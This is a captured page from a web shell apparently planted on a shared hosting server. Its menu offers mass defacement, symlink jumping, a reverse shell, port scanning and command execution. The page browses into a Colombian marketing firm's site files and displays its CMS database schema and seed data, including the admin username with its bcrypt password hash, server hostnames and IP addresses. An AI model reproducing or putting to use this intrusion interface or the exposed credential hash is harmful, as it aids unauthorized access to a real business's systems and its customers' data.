Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
ecomercial
/
database
/
Viewing: schema.sql
SET NAMES utf8mb4; CREATE TABLE IF NOT EXISTS cms_users ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, username VARCHAR(80) NOT NULL UNIQUE, password_hash VARCHAR(255) NOT NULL, name VARCHAR(120) NOT NULL, signature_url LONGTEXT NULL, photo_url TEXT NULL, is_active TINYINT(1) NOT NULL DEFAULT 1, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_settings ( setting_key VARCHAR(120) PRIMARY KEY, setting_value TEXT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_product_tabs ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, slug VARCHAR(80) NOT NULL UNIQUE, title VARCHAR(120) NOT NULL, sort_order INT NOT NULL DEFAULT 0, is_active TINYINT(1) NOT NULL DEFAULT 1 ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_products ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, tab_id INT UNSIGNED NOT NULL, title VARCHAR(160) NOT NULL, description TEXT NULL, price_label VARCHAR(80) NULL, price_value VARCHAR(80) NULL, discount_type ENUM('none','percent','amount') NOT NULL DEFAULT 'none', discount_value DECIMAL(12,2) NOT NULL DEFAULT 0, cta_label VARCHAR(120) NULL, cta_url TEXT NULL, sort_order INT NOT NULL DEFAULT 0, is_active TINYINT(1) NOT NULL DEFAULT 1, is_content TINYINT(1) NOT NULL DEFAULT 1, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, CONSTRAINT fk_products_tab FOREIGN KEY (tab_id) REFERENCES cms_product_tabs(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_clients ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, name VARCHAR(180) NOT NULL, commercial_name VARCHAR(180) NOT NULL, document VARCHAR(80) NULL, sector_industry VARCHAR(160) NOT NULL, address TEXT NOT NULL, phone VARCHAR(80) NULL, email VARCHAR(160) NULL, website TEXT NULL, logo_url TEXT NULL, notes TEXT NULL, status ENUM('Prospecto','Negociacion','Creacion','Atendido','En Espera','Inactivo') NOT NULL DEFAULT 'Prospecto', assigned_user_id INT UNSIGNED NULL, primary_contact_id INT UNSIGNED NULL, public_slug VARCHAR(190) NULL, public_token VARCHAR(80) NULL, public_access_enabled TINYINT(1) NOT NULL DEFAULT 1, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, CONSTRAINT fk_clients_user FOREIGN KEY (assigned_user_id) REFERENCES cms_users(id) ON DELETE SET NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_orders ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, client_id INT UNSIGNED NOT NULL, title VARCHAR(180) NOT NULL, order_type ENUM('Factura','Cotizacion') NOT NULL DEFAULT 'Factura', status ENUM('Pendiente','En Proceso','Entregado','Cancelado') NOT NULL DEFAULT 'Pendiente', notes TEXT NULL, ordered_at DATE NULL, order_discount_type ENUM('amount','percent') NOT NULL DEFAULT 'amount', order_discount DECIMAL(12,2) NOT NULL DEFAULT 0, tax_rate DECIMAL(5,2) NOT NULL DEFAULT 0, terms_conditions TEXT NULL, client_signature LONGTEXT NULL, company_signature LONGTEXT NULL, company_signature_url TEXT NULL, marketing_objective TEXT NULL, marketing_audience TEXT NULL, marketing_channels TEXT NULL, marketing_references TEXT NULL, marketing_notes TEXT NULL, marketing_purpose_1 TEXT NULL, marketing_purpose_2 TEXT NULL, marketing_purpose_3 TEXT NULL, marketing_location TEXT NULL, marketing_gender TEXT NULL, marketing_ages TEXT NULL, marketing_socioeconomic TEXT NULL, marketing_interests TEXT NULL, marketing_message TEXT NULL, marketing_voice_tone TEXT NULL, marketing_music_genres TEXT NULL, marketing_slogans TEXT NULL, marketing_promotions TEXT NULL, marketing_inspirations TEXT NULL, marketing_considerations TEXT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, CONSTRAINT fk_orders_client FOREIGN KEY (client_id) REFERENCES cms_clients(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_order_invoice_items ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, order_id INT UNSIGNED NOT NULL, content_id INT UNSIGNED NULL, product_id INT UNSIGNED NULL, item_type ENUM('audio','video','link') NOT NULL DEFAULT 'audio', title VARCHAR(180) NULL, genre VARCHAR(120) NULL, image_url TEXT NULL, media_url TEXT NULL, description VARCHAR(220) NOT NULL, quantity INT UNSIGNED NOT NULL DEFAULT 1, unit_price DECIMAL(12,2) NOT NULL DEFAULT 0, discount_type ENUM('none','percent','amount') NOT NULL DEFAULT 'none', discount_value DECIMAL(12,2) NOT NULL DEFAULT 0, sort_order INT NOT NULL DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, CONSTRAINT fk_invoice_items_order FOREIGN KEY (order_id) REFERENCES cms_orders(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_contents ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, order_id INT UNSIGNED NOT NULL, client_id INT UNSIGNED NOT NULL, product_id INT UNSIGNED NOT NULL, item_type ENUM('audio','video','link') NOT NULL DEFAULT 'audio', title VARCHAR(180) NULL, company VARCHAR(180) NOT NULL, genre VARCHAR(120) NULL, media_url TEXT NULL, action_url TEXT NULL, sort_order INT NOT NULL DEFAULT 0, is_active TINYINT(1) NOT NULL DEFAULT 1, allow_download TINYINT(1) NOT NULL DEFAULT 0, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, CONSTRAINT fk_contents_order FOREIGN KEY (order_id) REFERENCES cms_orders(id) ON DELETE CASCADE, CONSTRAINT fk_items_client FOREIGN KEY (client_id) REFERENCES cms_clients(id) ON DELETE CASCADE, CONSTRAINT fk_items_product FOREIGN KEY (product_id) REFERENCES cms_products(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_order_payments ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, order_id INT UNSIGNED NOT NULL, amount DECIMAL(12,2) NOT NULL DEFAULT 0, payment_method VARCHAR(120) NULL, reference VARCHAR(180) NULL, notes TEXT NULL, paid_at DATE NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, INDEX idx_payments_order (order_id), CONSTRAINT fk_payments_order FOREIGN KEY (order_id) REFERENCES cms_orders(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_email_logs ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, email_type ENUM('invitation','gift') NOT NULL DEFAULT 'invitation', recipient_email VARCHAR(255) NOT NULL, company_name VARCHAR(255) NULL, subject VARCHAR(500) NOT NULL, status ENUM('sent','failed') NOT NULL DEFAULT 'sent', error_message TEXT NULL, attachment_name VARCHAR(255) NULL, gift_id INT UNSIGNED NULL, sent_by INT UNSIGNED NULL, sent_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, INDEX idx_email_logs_sent_at (sent_at) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_gift_deliveries ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, public_token VARCHAR(80) NOT NULL UNIQUE, client_id INT UNSIGNED NULL, recipient_email VARCHAR(255) NOT NULL, company_name VARCHAR(255) NOT NULL, subject VARCHAR(500) NOT NULL, logo_url TEXT NULL, gift_file_url TEXT NOT NULL, gift_original_name VARCHAR(255) NOT NULL, gift_mime_type VARCHAR(120) NULL, sent_by INT UNSIGNED NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, INDEX idx_gift_token (public_token), INDEX idx_gift_client (client_id) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; CREATE TABLE IF NOT EXISTS cms_client_contacts ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, client_id INT UNSIGNED NOT NULL, name VARCHAR(180) NOT NULL, address TEXT NULL, phone VARCHAR(80) NULL, email VARCHAR(160) NULL, url TEXT NULL, photo_url TEXT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, CONSTRAINT fk_contacts_client FOREIGN KEY (client_id) REFERENCES cms_clients(id) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; INSERT INTO cms_users (id, username, password_hash, name, is_active) VALUES (1, 'admin', '$2y$10$aIb/SIVXH4UqEZZltdvtx.8hsdyVXbiSr95cMAJBmjwjzs9dcSdTm', 'Administrador', 1) ON DUPLICATE KEY UPDATE username = VALUES(username); INSERT INTO cms_settings (setting_key, setting_value) VALUES ('products_title', 'Observa nuestros productos'), ('products_intro', 'Explora por formato y escucha contenidos tipo playlist para decidir que necesita tu marca antes de cotizar.'), ('default_order_terms', '1. El cliente autoriza a eComercial a producir las piezas descritas en esta factura contrato. 2. La produccion inicia cuando el pedido queda aprobado y se registra el abono acordado. 3. Los cambios incluidos corresponden al alcance pactado en este pedido; ajustes adicionales pueden generar costos extra. 4. Los tiempos de entrega se cuentan desde la entrega completa de informacion, materiales y aprobaciones por parte del cliente. 5. La firma del cliente y del encargado confirma aceptacion del alcance, valores y condiciones del pedido.'), ('company_signature_url', '') ON DUPLICATE KEY UPDATE setting_value = VALUES(setting_value); INSERT INTO cms_product_tabs (id, slug, title, sort_order, is_active) VALUES (1, 'audio', 'Audio', 1, 1), (2, 'video', 'Video', 2, 1), (3, 'paquetes', 'Paquetes', 3, 1) ON DUPLICATE KEY UPDATE title = VALUES(title), sort_order = VALUES(sort_order), is_active = VALUES(is_active); INSERT INTO cms_products (id, tab_id, title, description, price_label, price_value, cta_label, cta_url, sort_order, is_active, is_content) VALUES (1, 1, 'Anuncios', 'Spots cortos para promociones, domicilios, eventos y mensajes comerciales de alto recuerdo.', 'Plan desde', '$ 200.000', 'Cotizar anuncios', 'https://wa.me/573028424064?text=Hola%20eComercial%2C%20quiero%20cotizar%20anuncios%20de%20audio%20para%20mi%20negocio.', 1, 1, 1), (2, 1, 'Jingles', 'Frases musicales pegajosas para que tu marca quede sonando despues del primer contacto.', 'Plan desde', '$ 200.000', 'Cotizar jingle', 'https://wa.me/573028424064?text=Hola%20eComercial%2C%20quiero%20cotizar%20un%20jingle%20para%20mi%20negocio.', 2, 1, 1), (3, 1, 'Canciones', 'Piezas completas para identidad de marca, ambiente comercial, redes y campanas especiales.', 'Plan desde', '$ 250.000', 'Cotizar cancion', 'https://wa.me/573028424064?text=Hola%20eComercial%2C%20quiero%20cotizar%20una%20cancion%20de%20marca.', 3, 1, 1), (4, 2, 'Video Promocional', 'Piezas breves para presentar ofertas, productos y lanzamientos en redes o pantallas del local.', 'Plan desde', '$ 250.000', 'Cotizar video', 'https://wa.me/573028424064?text=Hola%20eComercial%2C%20quiero%20cotizar%20un%20video%20promocional.', 1, 1, 1), (5, 2, 'Reels y Shorts', 'Videos verticales con guion, voz y ritmo para captar atencion en Instagram, TikTok y estados.', 'Plan desde', '$ 180.000', 'Cotizar reels', 'https://wa.me/573028424064?text=Hola%20eComercial%2C%20quiero%20cotizar%20reels%20o%20shorts%20para%20mi%20negocio.', 2, 1, 1), (6, 2, 'Video de Marca', 'Historias audiovisuales para explicar quien eres, que vendes y por que deberian elegirte.', 'Plan desde', '$ 450.000', 'Cotizar marca', 'https://wa.me/573028424064?text=Hola%20eComercial%2C%20quiero%20cotizar%20un%20video%20de%20marca.', 3, 1, 1), (7, 3, 'Impulso Local', 'Para negocios que necesitan empezar a sonar profesional sin armar una campana grande.', 'Paquete desde', '$ 580.000', 'Cotizar paquete', 'https://wa.me/573028424064?text=Hola%20eComercial%2C%20quiero%20cotizar%20el%20paquete%20Impulso%20Local.', 1, 1, 0), (8, 3, 'Campana Mensual', 'Para mantener promociones, redes y punto de venta con mensajes frescos durante el mes.', 'Paquete desde', '$ 1.200.000', 'Cotizar mensual', 'https://wa.me/573028424064?text=Hola%20eComercial%2C%20quiero%20cotizar%20una%20campana%20mensual.', 2, 1, 0), (9, 3, 'Marca Sonora', 'Para negocios que quieren una identidad reconocible en audio, video y campanas.', 'Paquete desde', '$ 1.800.000', 'Cotizar marca', 'https://wa.me/573028424064?text=Hola%20eComercial%2C%20quiero%20cotizar%20marca%20sonora%20para%20mi%20negocio.', 3, 1, 0) ON DUPLICATE KEY UPDATE title = VALUES(title), description = VALUES(description), price_label = VALUES(price_label), price_value = VALUES(price_value), cta_label = VALUES(cta_label), cta_url = VALUES(cta_url), sort_order = VALUES(sort_order), is_active = VALUES(is_active), is_content = VALUES(is_content);
Coded With 💗 by
0x6ick